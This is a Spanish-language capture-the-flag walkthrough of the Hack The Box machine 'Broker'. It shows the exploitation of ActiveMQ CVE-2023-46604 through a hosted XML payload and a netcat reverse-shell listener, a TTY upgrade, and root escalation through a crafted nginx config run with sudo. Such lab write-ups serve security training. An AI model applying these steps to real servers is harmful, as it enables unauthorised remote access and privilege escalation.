`1.1 Ping`

PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data.
64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=171 ms

--- 10.10.11.243 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 170.846/170.846/170.846/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

`2.2 CVE-2023-46604`

Investigando en internet me di cuenta que la versión 5.15.15 de ActiveMQ tiene vulnerabilidades publicas y encontré un CVE correspondiente al mismo servicio "CVE-2023-46604" por lo que nos quedaría realizar una búsqueda en GitHub si encontramos algún exploit correspondiente al CVE, en mi caso encontré el siguiente repositorio que contiene un PoC para el CVE:

En la tercera linea de las etiquetas "<value>" tenemos que modificar la IP de nuestra VPN de Hack The Box y el puerto, en mi caso 443:

Ahora vamos a ver los parámetros que tenemos que pasarle al script en Python con la flag de -h:

┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]

usage: exploit.py [-h] [-i IP] [-p PORT] [-u URL]

options:
  -h, --help       show this help message and exit
  -i, --ip IP      ActiveMQ Server IP or Host
  -p, --port PORT  ActiveMQ Server Port
  -u, --url URL    Spring XML Url

Como podemos ver, tenemos que pasarle como parametro el archivo XML que acabamos de editar dentro de una pagina web, asi que vamos a abrir una consola de Kali y vamos a alojar un servidor web en Python donde tengamos el archivo "poc.xml":

┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

No olvidemos en una consola nueva de Kali, ponernos en escucha con netcat por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# nc -nlvp 443
listening on [any] 443 ...

Y ahora vamos a ejecutar el script especificando los siguientes parámetros:

-i [IP Maquina HTB, ActiveMQ]
-u [URL donde alojamos el servidor web en Python con el recurso "poc.xml"]

┌──(root㉿t0mz)-[/home/kali/ctf/broker/CVE-2023-46604]

Y ahora vamos a revisar en la consola donde teniamos netcat en escucha por el puerto 443 si recibimos la reverse shell:

┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.243] 50776
bash: cannot set terminal process group (879): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$

`2.3 Obtención de la flag user`

La flag de user se encuentra dentro de la ruta absoluta "/home/activemq/user.txt":

activemq@broker:/opt/apache-activemq-5.15.15/bin$ cat /home/activemq/user.txt
cat /home/activemq/user.txt
cdb1c05201c76c62b9279b25e16c6d9e
activemq@broker:/opt/apache-activemq-5.15.15/bin$

`2.4 Tratamiento de la TTY`

Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)

"script /dev/null -c bash":

activemq@broker:/opt/apache-activemq-5.15.15/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
activemq@broker:/opt/apache-activemq-5.15.15/bin$

CTRL + Z:

activemq@broker:/opt/apache-activemq-5.15.15/bin$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                                                  
┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─#

Y vamos a ejecutar el siguiente comando:

stty raw -echo; fg

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali/ctf/broker]
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 443

Y ahora ejecutamos:

reset xterm

Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:

activemq@broker:/opt/apache-activemq-5.15.15/bin$

Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:

activemq@broker:/opt/apache-activemq-5.15.15/bin$ export SHELL=bash
activemq@broker:/opt/apache-activemq-5.15.15/bin$ export TERM=xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$

Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL" o "echo $TERM":

activemq@broker:/opt/apache-activemq-5.15.15/bin$ echo $SHELL
bash
activemq@broker:/opt/apache-activemq-5.15.15/bin$ echo $TERM
xterm
activemq@broker:/opt/apache-activemq-5.15.15/bin$

El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras

3- Escalado de privilegios

`3.1 sudo -l`

Siempre que queramos escalar privilegios, es importante saber que podemos hacer con el usuario de la reverse shell que obtuvimos, en este caso para saber eso, utilizaremos el comando "sudo -l":

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemq@broker:/opt/apache-activemq-5.15.15/bin$

Podemos ejecutar el binario "nginx" de la ruta absoluta "/opt/sbin/nginx" con permisos de root

`3.2 nginx.conf`

Dentro de nginx, existe un archivo llamado "nginx.conf" que contiene la configuración de nginx, este archivo se encuentra dentro de la ruta "/etc/nginx/nginx.conf"

Vamos a alterar este archivo reemplazándolo por otro que contenga un código que nos permita elevar privilegios como root, para eso vamos a ubicarnos primero dentro de la carpeta "/tmp":

activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd /tmp
activemq@broker:/tmp$

Crearemos el archivo "pwned.conf" con "touch":

activemq@broker:/tmp$ touch pwned.conf
activemq@broker:/tmp$

Y dentro de este archivo, vamos a almacenar el siguiente código con el editor de texto "nano":

user root;
events {
	worker_connections 1024;
}
http {
	server {
		listen 1337;
		root /;
		autoindex on;
	}
}

Con esta configuración le estamos diciendo que nos levante el servicio "nginx" como si fuésemos usuarios root, y que nos aloje dentro del servicio, el directorio personal de root donde se encuentra la flag de root, por el puerto 1337

activemq@broker:/tmp$ nano pwned.conf 
activemq@broker:/tmp$ cat pwned.conf
user root;
events {
        worker_connections 1024;
}
http {
        server {
                listen 1337;
                root /;
                autoindex on;
        }
}
activemq@broker:/tmp$

Y ahora vamos a ejecutar nginx, que si recordamos se encontraba dentro de la ruta absoluta "/usr/sbin/nginx" pasandole como parámetro el archivo de configuración "pwned.conf":

(Recordar ejecutarlo con sudo al principio del comando)

activemq@broker:/tmp$ sudo /usr/sbin/nginx -c /tmp/pwned.conf
activemq@broker:/tmp$

Ya tendremos nginx corriendo por el "localhost" por el puerto "1337"

`3.3 Obtención de la flag root`

Ahora, vamos a obtener la flag de root haciendole un curl a "localhost" por el puerto "1337" con el recurso "/root/root.txt", que es donde se encuentra la flag de root:

activemq@broker:/tmp$ curl localhost:1337/root/root.txt
3436dd0638c0439912f734ac89ebfcce
activemq@broker:/tmp$

Con esto, concluimos la maquina "Broker" de Hack The Box
